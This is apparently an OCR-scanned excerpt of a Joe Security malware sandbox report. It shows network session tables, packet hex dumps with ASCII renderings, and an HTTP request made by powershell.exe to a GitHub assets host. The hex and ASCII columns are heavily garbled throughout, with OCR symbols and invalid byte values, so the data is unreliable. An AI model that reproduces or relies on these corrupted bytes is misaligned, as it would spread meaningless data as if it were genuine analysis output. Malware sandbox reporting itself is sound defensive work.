54 00 66 de 74 25 33 da 07 af 58 c¢3 76 af 16 af aa b1 70 65 26 1f 65 72 f0 36 07 6f 75 f0 7a 7 ¢3 19 €9 01 78 c3 a4 6¢ fa
0c 64 cl ac ec 77 f1 f6 3a €9 06 Oa 14 f2 3b 03 6a 03 fa 8e 83 17 3f Ob 73 cd c1 bb 3f c6 5b ab b8 66 37 15 6f 9f Oa de 86
dc 3c d2 29 82 37 cc ¢3 13 65 7 21 ¢4 26 5f

Data Ascii: "jKm}r0]/Siwn1Ws"qB,5**1kK)>aPqOH* hu7Cv+[~b|bs%9<IcwE8r b&gsw+/|I5J Tft%3Xvpe&er6ouzxldw:;j?s?
[f7o<)7el&_

Data Raw: e3 ad 1a 6f 55 e3 ad 1a 6f 55 e3 ad 1a 6f 55 e3 ad 1a 6f d5 78 ¢7 5b 35 de aa f1 56 35 de aa f1 56 35 de aa f1
56 35 de aa f1 56 8d b7 aa f1 56 8d b7 aa f1 56 8d b7 aa f1 56 8d b7 6a bc 55 8d b7 6a bc 55 8d b7 6a bc 55 8d b7 6a bc
55 e3 ad 6a bc 55 e3 ad 6a bc 55 e3 ad 6a bc 55 e3 ad 1a 6f 55 e3 ad 1a 6f 55 e3 ad 1a 6f 55 e3 ad 1a 6f d5 78 ab 1a 6f
d5 78 ab 1a 6f d5 78 ab 1a 6f d5 78 ab ¢6 5b d5 78 ab ¢6 5b d5 78 ab c6 5b d5 78 ab c6 5b 35 de aa c6 5b 35 de aa c6
5b 35 de aa c6 5b 35 de aa f1 56 35 de aa f1 56 35 de aa f1 56 35 de aa f1 56 8d b7 aa f1 56 8d b7 aa f1 56 8d b7 aa f1
56 8d b7 6a bc 55 8d b7 6a bc 55 8d b7 6a bec 55 8d b7 6a be 55 e3 ad 6a be 55 e3 ad 6a be 55 e3 ad 6a bec 55 e3 ad 1a
ef 78 ab c6 5b 35 de aa c6 5b 35 de aa c6 5b 35 de aa c6 5b
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:43 UTC 4206 IN
2022-04-20 13:07:43 UTC 4207 IN
2022-04-20 13:07:43 UTC 4207 IN
2022-04-20 13:07:43 UTC 4209 IN
2022-04-20 13:07:43 UTC 4210 IN
2022-04-20 13:07:43 UTC 4211 IN
2022-04-20 13:07:43 UTC 4213 IN
2022-04-20 13:07:43 UTC 4214 IN
2022-04-20 13:07:43 UTC 4216 IN
2022-04-20 13:07:43 UTC 4217 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 18 Oa c3 4e Oc 19 57 b6 28 f1 fd af ba 43 cb cc f4 be 92 d8 15 fd 45 4b 4f a3 4f 03 00 80 ee 9a 7a 44 a5 Oa 33
ab 18 73 ba fb 46 1f 07 00 00 7a bb c1 e6 ac 88 aa 10 66 36 de 53 8f 50 fa 38 00 00 dO 6e e0 39 b3 6a ae 15 69 7c a2 3e
76 bb 4e 1f 05 00 00 1la b7 c6 ed 4c 66 45 d5 5a 6b Oe €3 93 8¢ 8c 21 f4 51 00 00 cO c4 98 db 99 56 8c 73 78 95 b9 31
b3 89 ba a7 d3 07 01 00 80 a6 ae 62 dc 8e 78 c6 18 51 35 Of fd €5 13 13 f5 f0 46 2f b0 a9 dO 0d aa 9d 1e c3 ca f4 24 10
a5e7 a9 12 00 7c af 8d cd b8 d3 6b 58 a6 8a 9c 5f 37 70 c5 6e 44 c4 da 1f 43 78 cf 4c c4 33 92 e9 1le 75 al db 7a 3a dd
90 d9 9f 18 6b f4 65 7a a7 17 da fa 46 df e8 d6 a9 7a d2 f3 32 €9 3b 01 40 d7 3c 92 4e 2f 27 €9 22 66 6¢ 66 dc 8e cl ad
9a 6b cd 31 dc 98 4d c4 23 73 84 de 9f 96 €9 db ef 08 af

Data Ascii: NW(CEKOOzD3sFzf6 SP8n9ji|>vNLfEZk!QVsx1bxQ5F/$|kX_7pnDCxL3uz:kezFz2;@<N/"flfk1M#s

Data Raw: 1e 94 8e 03 1f 57 b9 1e 00 50 7b Oe c7 f4 d9 1a 48 Oc 15 30 29 e4 a9 c7 ab 2f 07 eb 49 ce 62 a3 a5 78 7b 44
df ea f1 1a 2b f1 1a 81 25 ae 7b bc df 6d 35 f8 d7 Oc 06 d2 36 6f 14 bf 16 6f 1f 5a 88 7 55 b5 dc 3b be f2 72 75 76 9b cd
€6 f3 df 5¢c 23 98 be b9 b6 20 e8 a7 6b e7 a3 72 d5 03 11 1e 07 40 f5 30 10 80 14 29 c9 4f 9d 86 ae da 69 57 03 08 d8 98
84 ¢111c18761a7cldb5dO0d7d57 6¢ fd e9 ef 88 25 2e ¢4 5b ab 50 be cf Ob f1 06 1f ac 54 5a 88 37 df eb 83 c4 85
78 2d d5 d6 77 88 00 ce 11 93 e4 85 78 ¢3 30 71 21 5e 14 1a 3e 81 84 1e 49 9f 6e 1a fe 4f b3 d9 ec bf d5 60 f0 91 8a 9c
aa 5d 25 46 3a Oe 81 f3 7a c6 04 90 52 29 38 ef 3f 18 ed 40 c2 al 99 96 db Of b2 86 47 b0 3d ae 1a aa 06 bl 45 54 73 26
50 c0 b5 19 2f 11 bb 85 78 6f 2b f9 79 8f 41 bf ae 11

Data Ascii: WP{HO0)/Ibx{D+%{m5600ZU;ruv\# kr@0)OiWa]}WI%.[PTZ7x-wx0q!*>InO"]%F:zR)8?@G=ETs&P/xo+yA

Data Raw: 20 80 e8 d6 64 1f c6 dO fb fc 1a 86 29 f5 3d d9 66 ce d1 82 75 ea 5¢ cd 92 fc fb d4 bf 57 b8 cd fb ed fa ff 63 d7
8e 91 e4 84 81 30 8c 0a 66 41 8d 11 91 a4 fb 5f d5 83 d8 a9 ad 72 e2 04 6a 93 f7 3a 80 13 7c c1 0f c0 2f f9 6a a3 bc 67
69 af 91 37 47 9c el 1d ff 35 ac 09 80 db 7d c2 3b 5c el 5d 6a af bd eb 2e c0 43 da 35 35 Oc ed b5 96 88 a5 9f ea 2b 01
f0 88 a9 8e f0 Oe eb 7a 44 1c bd d7 5e 5a 02 e0 21 73 fd 09 ef 6b 8b f8 aa bd b7 39 01 f0 9¢c b9 b5 3a b4 75 89 dc 6a 4b
00 3c 6d 6e 57 78 d7 e3 6b 4a 00 fc df f4 96 00 10 5e 00 el 05 40 78 01 84 17 00 el 05 10 5e 80 db 08 2f 00 c2 Ob 20 bc
00 08 2f 80 f0 02 08 2f 00 c2 Ob 20 bc 00 08 2f 80 f0 02 20 bc 00 c2 Ob 20 be 00 08 2f 80 fO 02 20 bc 00 c2 0b 80 f0 02 08
2f 80 f0 02 20 bc 00 c2 0b 80 f0 02 08 2f 00 c2

Data Ascii: d)=fu\WcOfA_rj:|/jgi7G5};\]j.C55+zD"Z!sk9:ujK<mnWxkI*@x /I | 111

Data Raw: 47 9e 87 57 e7 54 ef fc fd 08 6f dc 60 ce 2e 27 Ob e2 86 1f 87 05 76 08 f9 8f 6 9c d3 43 64 €3 85 7b bc 71 7f
8f 5a ae 23 b6 f7 8a 5a 6d dc e3 5d 75 e5 7d 9f ef 85 7b bc 5d 9a 6b 45 ¢6 f4 15 ¢3 3b bd 9e 7d ce f4 26 bc el b8 9e fe d9
9c 73 e9 f5 ae 86 18 3e 6a d9 e5 fb ba 3e fe c7 65 ce 75 ac 7a ef 91 b5 22 2f 39 5¢ Ob af 01 3a 8b c5 43 f9 8a 2b 5e le c2
49 78 23 e4 bd f0 72 f8 d9 9c 73 c5 1e e5 a5 7e 14 3e cc c6 ab 6b 5 76 cf cd d2 be ba 5a ef eb 4d 11 39 a2 d6 05 d7 c2
9b 90 74 24 ac c0 ce d6 90 €9 f3 c2 fb fc 1e ef 70 b2 e2 95 30 cc de 92 87 77 72 ce 11 1la 4d 72 f1 9d 6b 81 5b 77 bb 5¢
eb 48 ee ae 97 b8 82 98 01 2c 74 29 bc 04 eb df fc ea 55 31 26 1e 3b 0d 3a fb ac f0 46 58 79 67 57 83 8e 03 2a ef 87 77
5e 46 84 78 78 ff 84 73 fe 59 0d 1d le 4b de bc

Data Ascii: GWTo'.'vCd{qZ#Zm]uK]KE;}&s>j>euz"/9\:C+ Ix#rs~>kvZMIt$pOwWrMrk[w\H,t) U1&;:FXygW*w Fxxs YK

Data Raw: ad 44 7c 02 20 cO bc 75 39 8f 07 ee e3 2f 6e d8 cd ec 36 bd 9c d7 bf 57 7c ba 16 11 91 19 08 dc 22 c2 el 40 1f
b5 92 88 €6 1c ad ce dc 35 44 73 8f b5 55 93 1e f6 aa e4 bd d7 17 59 a7 2b 11 11 59 02 91 46 c4 8e d4 f5 €8 c1 5b 19 5f
20 70 04 6f 26 10 dd 3a fa 1e 01 eb e6 57 2d 78 c7 f8 a3 eb 2d 1b 44 44 e2 80 56 83 87 b3 12 f1 8d b1 69 b0 33 77 cf 33
6f 97 68 66 79 7f 97 45 43 f9 f5 2d 9f ae 43 44 64 8e 06 11 a9 8d c1 el 2c 64 7c c3 8e f3 6e f4 ba f5 dc 6d c6 4c cc 66 76
9f 5e 62 f9 31 60 cb 37 b7 cb 3f 74 e4 15 11 1d 78 dd 72 2b b3 7d df 1f 29 ¢5 b9 cc ¢5 ¢8 5d 02 f1 c9 7d c4 ee 2d 90 c6

d3 9f 1f f2 cd 5a b9 e0 91 57 44 64 8e Oe €9 f8 7a 2d e5 cf 6¢ ef 11 bc ¢7 60 f9 5¢ 34 20 9a db f9 ab 86 2e 81 f9 a5 df af
95 fa 22 e5 4a 47 5e 11 91 67 34 40 02 6e 88 64

Data Ascii: D| u9/n6W|"@5DsUY+YF[_ po&:W-x-DDVi3w3ohfyEC-CDd,d|nmLfv b1 7?2txr+})[}-ZWDdz-I"\4 ."JG g4@nd

Data Raw: 8a 49 91 76 23 ab 79 18 29 47 3f 11 Ob b5 5e 7a ce 33 f4 9b ca 1f e0 a5 03 fO 62 46 c4 ae ec 55 2 4c 8b 55
b0 cb c9 6¢ ea c3 75 22 1c b4 1c a7 7f 4c 99 89 4e 61 cf ee dc bb 8f e8 71 5a ef 65 f0 f6 95 84 82 90 b7 1b 1e 1b 36 f0 f6
84 81 b9 de e4 76 ab 16 f7 d2 9f fe d2 Oe ec 61 8a 16 1f ff 79 6d 57 03 60 eb Of 9f el 3b 03 2f 9e fc 08 ab 32 13 1c 69 Of
5e 78 4d 81 cd 0f 4b 5d a0 66 e4 4a 12 c0 2b 6b 2a 6¢ 59 Oc f0 12 52 20 14 ab 99 c4 75 1d 2b 8a 39 78 59 19 b1 f0 e0 08
ad 44 6e a5 d7 a2 46 61 56 b4 2b 4a a6 54 54 74 5d 89 8f d3 50 6a 05 ef 9a 14 5f 07 9a cf 6e b4 97 20 5b 65 98 f7 67 80
17 ef 61 68 26 20 5f 5¢ 37 78 63 39 a9 60 Oe a2 c1 61 58 30 df 6e c2 54 cd e8 68 00 2f 06 24 f1 fO 8d ed 46 bc b8 7¢ 4d
00 2f 7c ¢3 20 b2 1b 29 12 e8 de 4b c9 2a 3e 54 52

Data Ascii: Iv#y)G?"z3bFULUIu"LNagZe6vaymW:;/2i"xMK]fJ+k*lYR u+9xYDnFaV+JTTt]Pj_n [egah& _\7xc9'aX0n
Th/$FIM/| )K*>TR

Data Raw: 6d e0 0d 4e 78 61 e2 f0 53 9a 57 26 cb 02 1d 99 ec 50 91 9d de c2 1c bc a8 b3 12 45 1e 6d 00 de c9 51 66 f1
08 3e 96 5b 1c 01 3d 82 d7 bd 25 07 3b 56 f1 d5 54 33 62 7d 6f 80 26 80 9d dd c4 79 02 6f 72 27 15 e7 66 3b a9 d3 11 f3
1c be cf d7 e4 14 78 41 9c a9 b4 e0 21 c0 0a 39 80 16 ac ee Ob 20 04 ce 17 e7 42 18 8a 4f 6b 84 a8 23 b4 6 94 fa 41 ed
45 c7 fe f0 23 61 17 b9 26 5e 2d 83 aa c7 ca 3f 02 2f bb 7c 78 9¢ 68 70 fe e0 10 f0 71 fc fc 12 70 80 ab €0 c1 9b dd Of d1
39 78 91 03 59 64 54 9d cf 59 3f b1 46 c7 82 06 be 66 6¢ 1b 1a 70 5b 6d 7d €9 c1 6b 55 ad 45 6b 8f 78 cb 5a a8 de ec 4b
cf 6f da c2 de 66 ed al 8a 5b ab f7 19 fO 2e 60 ae 8f 79 c1 dd 83 5¢ dc 5b 3b 07 de e4 3e 1d 6d e0 8d 24 5a 6b c1 9a 84
ad al d4 ce 1d d4 47 b5 62 66 b2 44 03 58 ac 43 9e a0

Data Ascii: MNxaSW&PEmMQf>[=%;VT3b}o&yor'f;xAl9 BOk#AE#a&"-?/|xhpgpaxYdTY ?Fflp[m}kUEKxZKof[. 'y\[;>m$Z
kGbfDXC

Data Raw: 03 70 13 c1 44 be fa 34 Oe 5a 7d 06 89 4b 38 ba 3b 67 87 09 52 4f 13 f0 Oa Oe 00 5e ac 6d 99 23 1c 38 22 e8
07 05 64 f8 16 95 80 16 d3 26 38 16 02 d3 b1 bc 11 46 5a 1c 83 37 db Ob 6 2e 2e cc 6b 72 db bf b6 60 9e 84 71 33 2b 06
76 08 5e 64 1f 82 f7 c2 ab 63 61 85 43 f6 1d 25 e6 65 14 b6 €3 29 5b b5 39 78 71 52 13 4e 2a c8 4e 42 c7 €0 c5 88 e7 €0
5 f7 7d a8 55 9c 80 37 01 8e 3c ee e3 0d 73 f0 62 5f ad db 6c 7e 95 5d 9b 69 d8 c7 3b 82 d7 18 17 eb e3 79 1e dd 8d aa
18 b5 eb b5 c0 ef fa db 6f 05 8e 3a dd c7 9b 9c f2 01 6f c4 d8 al 9c 04 2f Oc e7 Of d7 c8 2b 1b c9 4f 82 17 62 22 0f 5e 90
4 21 03 e6 ec 48 7f 3c 67 ¢3 23 ec 19 d5 24 28 fa 35 cb a5 11 b7 18 76 81 d7 d2 b8 5b d7 74 e3 69 7f 45 4a fa 93 c2 b9
af 35 bc 81 bb a5 b6 7f 85 2f €7 43 de d3 86 87 db 4e

Data Ascii: pD4Z}K8;gRO"m#8"d&8FZ7..kr q3+v dcaC%e)[9IXqRN*NB}U7<sb_I~]i;yo:0/+Ob" NH<g#$(5v[tIEJ5/CN

Data Raw: 12 de 3f 4c fb f9 86 f3 ¢7 5e 03 5e c2 ab ¢5 64 68 a5 55 0d a7 71 dO 6a al 1d f4 69 c0 2b 53 fe d1 44 c3 4c fd
4d 34 e2 cd 97 ea b4 ¢8 90 ¢3 1b 7a d7 50 5e 91 fb ¢3 78 {7 0f 87 {7 72 79 dc 9c¢ a5 c1 df db 95 37 19 ae 6e 1f 8¢ 78 35 9of
83 76 83 3d a8 62 27 31 9555 d1 d5 3f 52 46 a3 be 4d 8d aa ab fe 56 c6 bc f9 53 93 c2 3b 53 60 36 94 57 97 07 65 bc 7b
04 e8 e6 7d fe 23 d9 fd Ob dO 9f 74 9c c5 5e 46 0d 78 cb 91 bc 9a 3d 98 8f ¢7 89 31 3d 75 a4 04 d9 7e 55 62 bd 55 78 47
b7 da f5 f6 eb 4e el ab 3b 18 00 d0 78 57 bf 9 3a a7 37 85 7 72 f6 el b1l b2 4a af 4a 9c 3e e6 67 d1 6d 71 ba ff 78 32 ce
€9 1d Oe 00 9c 43 29 6f 29 ec 2c e4 47 50 d4 e3 5d 75 d9 b2 3b 4d e5 bl c4 9f 6e 93 fe f6 fd 34 03 c3 dd 43 02 d0 6b 30
ab 9f a5 b2 aa eb 12 64 45 d6 fe e3 64 29 d6 33

Data Ascii: ?LMdhUqji+SDLM4zP/xry7nx5v=b'1U?RFMVS;S 6We{}#"Fx=1=u~UbUXGN;xW:7rJJ>gmgx2C)0),GP]u;Mn
4CkOdEd)3

Data Raw: bc 00 e2 05 40 bc 00 e2 05 40 bc 00 e2 05 40 bc 00 e2 05 10 2f 00 e2 05 10 2f 00 e2 05 10 2f 00 e2 05 10 2f
8078 01 10 2f 80 78 01 10 2f 80 78 01 10 2f 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob 20 5e 00 c4 Ob
20 5e 00 c4 Ob 20 5e 00 c4 Ob 20 5e 00 f1 02 20 5e 00 f1 02 20 de 1b 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob 63 a7
8e 89 00 00 00 10 08 f5 6f 6d 85 9f 3d 08 41 03 e2 05 40 bc 00 e2 05 40 bc 00 e2 05 40 bc 00 e2 05 10 2f 00 e2 05 10 2f
00 e2 05 10 2f 00 e2 05 10 2f 80 78 01 10 2f 80 78 01 10 2f 80 78 01 10 2f 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob
80 78 01 c4 Ob 20 5e 00 c4 Ob 20 5e 00 c4 Ob 20 5e 00 c4 Ob 20 5e 00 f1 02 20 5e 00 f1 02 20 5e 00 f1 02 20 5e 00 f1 02
8817 00 f1 02 88 17 00 f1 02 88 17 00 f1 02 88 17 40 bc

Data Ascii: @@ @//IIXIXIXIXXXX N N N A A xxxcom=A@ @ @//IIXIXIXIXXXX N N N NNNA@
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Timestamp transferred Direction
2022-04-20 13:07:43 UTC 4218 IN
2022-04-20 13:07:43 UTC 4220 IN
2022-04-20 13:07:43 UTC 4221 IN
2022-04-20 13:07:43 UTC 4222 IN
2022-04-20 13:07:43 UTC 4223 IN
2022-04-20 13:07:43 UTC 4225 IN
Session ID Source IP Source Port
12 192.168.2.4 49767
Timestamp L Direction
transferred
2022-04-20 13:07:36 UTC 1038 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: 05 10 2f 00 e2 05 10 2f 40 21 5e 00 c4 Ob 20 5e 00 c4 Ob 20 5e 00 c4 Ob 20 5e 00 f1 02 20 5e 00 f1 02 20 5e
00 f1 02 20 5e 00 f1 02 88 17 00 f1 02 88 17 00 f1 02 88 17 00 f1 02 88 17 40 bc 00 88 17 40 bc 00 88 17 40 bc 00 88 17
40 bc 00 e2 05 40 bc 00 e2 05 40 bc 00 e2 05 40 bc 00 e2 05 10 2f 00 e2 05 10 2f 00 e2 05 10 2f 00 e2 05 10 2f 80 78 01
10 2f 80 78 01 10 2f 80 78 01 10 2f 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob 20 5e 00 c4 0Ob 20 5e 00
c4 0b 20 5e 00 c4 0b 20 5e 00 f1 02 20 5e 00 f1 02 20 5e 00 f1 02 20 5e 00 f1 02 88 17 00 f1 02 88 17 00 f1 02 88 17 00
f1 02 88 17 40 bc 00 88 17 40 bc 00 88 17 40 bc 00 88 17 40 bc 00 85 78 01 10 2f 80 78 01 10 2f 80 78 01 10 2f 80 78 01
c4 0b 80 78 01 c4 Ob 80 78 01 c4 Ob 80 78 01 c4 Ob 20 5e

Data Ascii: /@ " NN AN Q@@ @ @ @ @/TXIXIXIXXXX A NN A NN @ @ @XIXIXIXXXX A

Data Raw: b7 af 36 e4 6d 97 af fd 5c af a7 d3 €9 5c b5 8b 67 2 4d 40 69 21 95 3d 30 Ob 47 a8 46 53 c3 67 f1 26 b4 73
d4 13 b4 1b a3 5a ee 04 b6 66 c4 ce 71 aa e7 74 22 de 62 d7 08 f8 bd a5 06 eb 5f a0 65 48 9c 3c 4c 96 d4 a4 d8 a9 55 bc
d4 df 65 b2 22 02 Oc 5d a8 f5 81 38 ch 85 82 17 2e 41 55 c6 fe 7b 36 34 a4 9a 15 bl df 38 94 2a b7 3b 0a 59 f4 a3 59 2¢
16 02 27 4d e7 75 07 b8 77 {7 5f 3b 39 d7 b9 6e 6e de bd ec e2 fd ef 8¢ 6b fd e2 b9 78 cd 4a bl 2b 36 f7 08 a9 cb 31 7e
12 6f a6 dc ce 41 bb 30 86 c7 5a 09 9a 2c d2 2e 13 8b 26 c6 4a 24 9e c7 1b e2 2d 44 5d 9a d9 7a ca 3d f1 dc 12 a0 16 89
04 67 6¢ 5d 9b 6a 95 c3 91 78 6f 7d c8 d3 f5 eb 28 26 5e 88 5f ea a5 4a 1f 4b 25 a0 c7 52 f9 68 93 e4 f0 13 58 2c 16 b8
33 3f 78 c0 56 bd 5b d9 b6 f6 2b d7 bf 6d ba db 36 9a ed

Data Ascii: 6m\\gM@i'=0GFSg&sZfqt'b_eH<LUe"]8.AU{648*;YY,'Muw_;9nnkxJ+61~0A0Z,.&J$-D]z=gl]jxo}(&" JK
%RhX,3?xV[+m6

Data Raw: 00 b8 e7 d1 de 57 76 ab 7d 1a 00 bd b2 32 ab aa fb d8 Ob fO 4b 6e 37 c1 04 10 5e 00 el 05 40 78 01 84 17 00
€105 10 5e 00 84 17 40 78 01 84 17 00 el 05 10 5e 00 84 17 40 78 01 10 5e 00 el 05 10 5e 00 84 17 40 78 01 10 5e 00
€1 0540 78 01 84 17 40 78 01 10 5e 00 e1 05 40 78 01 84 17 00 e1 05 10 5e 00 el 05 40 78 01 84 17 00 el 05 10 5e 00
8417 40 78 01 84 17 00 el 05 10 de ff 0a 00 e1 05 10 5e 00 84 17 40 78 01 10 5e 00 €1 05 40 78 01 84 17 40 78 01 10 5
e00el1 054078018417 00 el 05 10 5e 00 el 05 40 78 01 84 17 00 e1 05 10 5e 00 84 17 40 78 01 84 17 00 el 05 10
de 5b 9f 63 44 8c 9a 5d c0 3f Of 10 de 1e 91 7f 4e 45 44 45 c¢d 7b 03 e0 73 el 7d cc c8 c8 91 a3 62 e4 c8 c8 11 f9 h9 f4
02 08 6f 8f c8 88 8¢ 91 11 39 32 6a bf af de 00 f8 48 78 67 e4 3e 91

Data Ascii: Wv}2Kn7"@x"@x"@x"@x"@X@x"@X"@x"@x"@x " @x@x"@x"@x"@x[cD]?NEDE{s}b092jHxg>

Data Raw: f7 48 4e 60 f1 7d 18 2a 05 77 43 9a dd 73 d8 de 73 f8 5b 6¢ 4f 3c d7 80 18 0d 3d 02 23 ad 5f c7 64 82 37 e7
07 3f b0 16 ef 16 d6 b5 7e e3 f2 b3 4e 77 eb 46 b3 4d bc 28 2b 0d f2 d7 e2 95 50 63 aa 87 42 39 d4 4f c3 74 14 6f 48 21
€3 97 3e f0 a3 78 05 d6 1b 56 8f 7c ee 89 57 c0 43 d3 07 91 7e a8 30 4c 1c fa aa 34 2b a5 de 46 fd 08 c5 a9 41 83 19 fe
51 bc b2 4f ac 43 be 59 e0 d4 2e 4d 89 9a 77 29 2f 03 91 1c 25 ea 92 22 78 24 16 85 48 ee 1d 92 80 74 3a ec 19 c8 91 df
10 78 93 c9 64 ce 78 d7 76 47 6d 2d 94 5f Oe €9 96 c3 8f ed 03 af 62 5e fb b0 c6 1b a5 b4 7f eb 3d 94 99 d9 e4 5¢c bc c2
1520 b4 fd 61 57 ¢3 10 e8 b1 1f c0 52 be 2d 5e 45 ba f6 07 d0 37 d6 99 38 52 e9 3a e3 9e c3 46 57 e2 65 d8 d0 e3 0f e2
4d 5e 62 42 bc a4 d0 dc 69 d5 65 21 05 9c ce 13 1f 4a 40

Data Ascii: HN'P*wCss[lO<=#_d7?~NwFM(+PcB9OtoH!>xV|WC~0L4+FAQOCY.Mw)/%"x$Ht:xdxvGm-_b =\ aWR-
AE78R:FWeM"bBie!J@

Data Raw: 30 4a 77 b9 Oc 04 ce f3 b9 7f c5 9c e8 2¢ f1 cf 10 73 ca 5d 1c 73 1e 92 b8 4a 8e ce 4b 03 f9 ea e4 d8 7b 8a cd
cae7 81799 4c a6 79 3b fb ea a6 dd ba 9f b7 a8 d7 6f bc e3 el ff 13 c0 72 30 11 al 7e al fd 1f 67 32 99 3c 5f 6f {3 da
da be f6 77 e5 7d e6 29 de c9 62 5 76 62 fe 1b 3b 77 a0 61 47 Oc c5 71 38 c9 49 Oe 33 f6 82 e4 be ff ab 6 ce ee b4 dd
6d d1 62 06 d6 f7 3d 42 f0 43 38 ff 73 80 e3 0a cO fa 5d de 78 59 79 9e 52 cc 28 a5 08 2f 7b 3f 47 22 a3 00 57 59 1f eb Oc
cf b9 7e 79 af 70 f9 Of ad b6 f2 fd d4 5a 3e al f6 31 7a ee e5 06 e0 bb 61 bd c4 47 78 a3 dc 08 80 36 3f da fb 33 bb ab dc
0d 80 58 3 28 ee 5a 51 6b f9 37 00 6a 15 4c 00 el 05 10 5e 00 84 17 40 78 01 10 5e 00 el 05 40 78 01 84 17 40 78 01
10 5e 00 e1 05 40 78 01 84 17 00 el 05 10 5e 00

Data Ascii: 0Jw,s]sJK{Ly;or0~g2<_ow})bvb;waGq8I3mb=BC8s]xYyR(/{?G"WY~ypZ>1zaGx6?3X(ZQK7]L"@X"@x@X"@x
N

Data Raw: 33 61 8f f2 b4 c0 e6 5c¢ f8 5¢ 57 8c 67 83 0a c0 a9 96 22 08 3f 99 73 ce 3e 3c 69 bc 66 39 a7 9b 6a ba f6 13 86
11 be 35 fd 93 53 ce 2d e5 94 88 88 af de 6a 98 c2 d5 1e 98 4d c8 e4 dc 3e 1a 82 f1 dd d5 59 18 4d 47 f0 a2 d1 b9 6b 9¢
7b fa 53 9b be 1b bc 38 5b 9e 07 6f 9c 53 fd b9 f0 8f 9b bc 0f c6 39 f6 al f0 d9 a3 98 95 19 bc a7 7f b0 fe 02 ce f9 8e 97
72 4e 23 7a 79 6d ad a6 da 52 ad a9 e6 5a 6b 6a 44 c4 6¢ a6 fa 38 8f 19 6d 2e 83 37 aa 99 ce 5a 14 87 73 f0 e2 63 65 78
Oe 5e 31 39 a7 66 34 83 89 8¢ 70 78 3f 78 03 74 el 95 e0 3d a6 ba Oe ea 03 1a e3 f0 11 bc Oc d3 dc 2d 6f d4 e2 f9 03 19
c1 54 d4 94 30 c2 2f el 9c e3 bb 70 c4 37 ce 78 31 6f 74 5d 5b 0f db fe 5f 3f e0 ad ad 2e 82 a2 6a 35 25 33 7c fd 8¢ b7 13
9b f9 15 6d 7a 16 bc el 69 fO 32 4c 64 87 1f 11

Data Ascii: 3a\\Wg"?s><if9j5S-}M>YMGk{S8[0S9rN#zymRZkjDI8m.7Zscex 19f4px?xt=-0TO/p7xLot][_?.j5%3|mzi2Ld

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/runtime-51fc180fd3a8.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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Timestam
P transferred

2022-04-20 13:07:36 UTC 1100

2022-04-20 13:07:36 UTC 1100

2022-04-20 13:07:36 UTC 1102

2022-04-20 13:07:36 UTC 1103

2022-04-20 13:07:36 UTC 1104

2022-04-20 13:07:36 UTC 1106

2022-04-20 13:07:36 UTC 1107

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 15230

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Tue, 19 Apr 2022 19:03:28 GMT

ETag: "ffeec213ff11973fd1114cba8414d4b4"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Age: 64836

X-Served-By: cache-iad-kjyo7100177-IAD, cache-mxp6952-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 02ffd288ada233e9f5b9edbe50bd9ff6a2cbb7e6

Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 70 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61
7220 43 3d 28 4b 2c 52 29 3d 3e 70 28 4b 2c 22 6e 61 6d 65 22 2c 7b 76 61 6¢ 75 65 3a 52 2c 63 6f 6e 66 69 67 75 72
61 62 6¢ 65 3a 21 30 7d 29 3b 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 4b 3d 7b 7d 2c 52
3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 53 28 48 29 7b 76 61 72 20 66 3d 52 5b 48 5d 3b 69 66 28 66 21 3d 3d 76 6f 69 6
4203029726574 7572 6e 20 66 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 52 5b 48 5d 3d 7b 69 64 3a 48 2c 6¢ 6f
61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 4b 5b 48 5d 2e 63 61 6¢ 6¢ 28 72 2e
65 78 70 6f 72 74 73 2c 72 2¢c 72 2e 65 78 70 6f 72 74 73 2¢ 53 29 2¢

Data Ascii: (()=>{var p=Object.defineProperty;var C=(K,R)=>p(K,"name" {value:R,configurable:!0});(()=>{"use strict";var K=
{},R={}function S(H){var f=R[H];if(fl==void O)return f.exports;var r=R[H]={id:H,loaded:!1,exports:{}};return K[H].call(r.export
s,r,r.exports,S),

Data Raw: 22 3a 48 3d 3d 3d 36 33 31 39 3f 22 36 33 31 39 2d 38 63 63 64 63 62 64 35 66 31 31 34 2e 6a 73 22 3a 48
3d 3d 3d 35 36 32 33 3f 22 35 36 32 33 2d 61 33 64 32 63 38 31 34 31 36 38 65 2e 6a 73 22 3a 48 3d 3d 3d 33 36 38 32
3f 22 33 36 38 32 2d 65 39 31 66 37 66 34 66 31 63 65 38 2e 6a 73 22 3a 48 3d 3d 3d 39 33 3f 22 39 33 2d 38 66 64 62 3
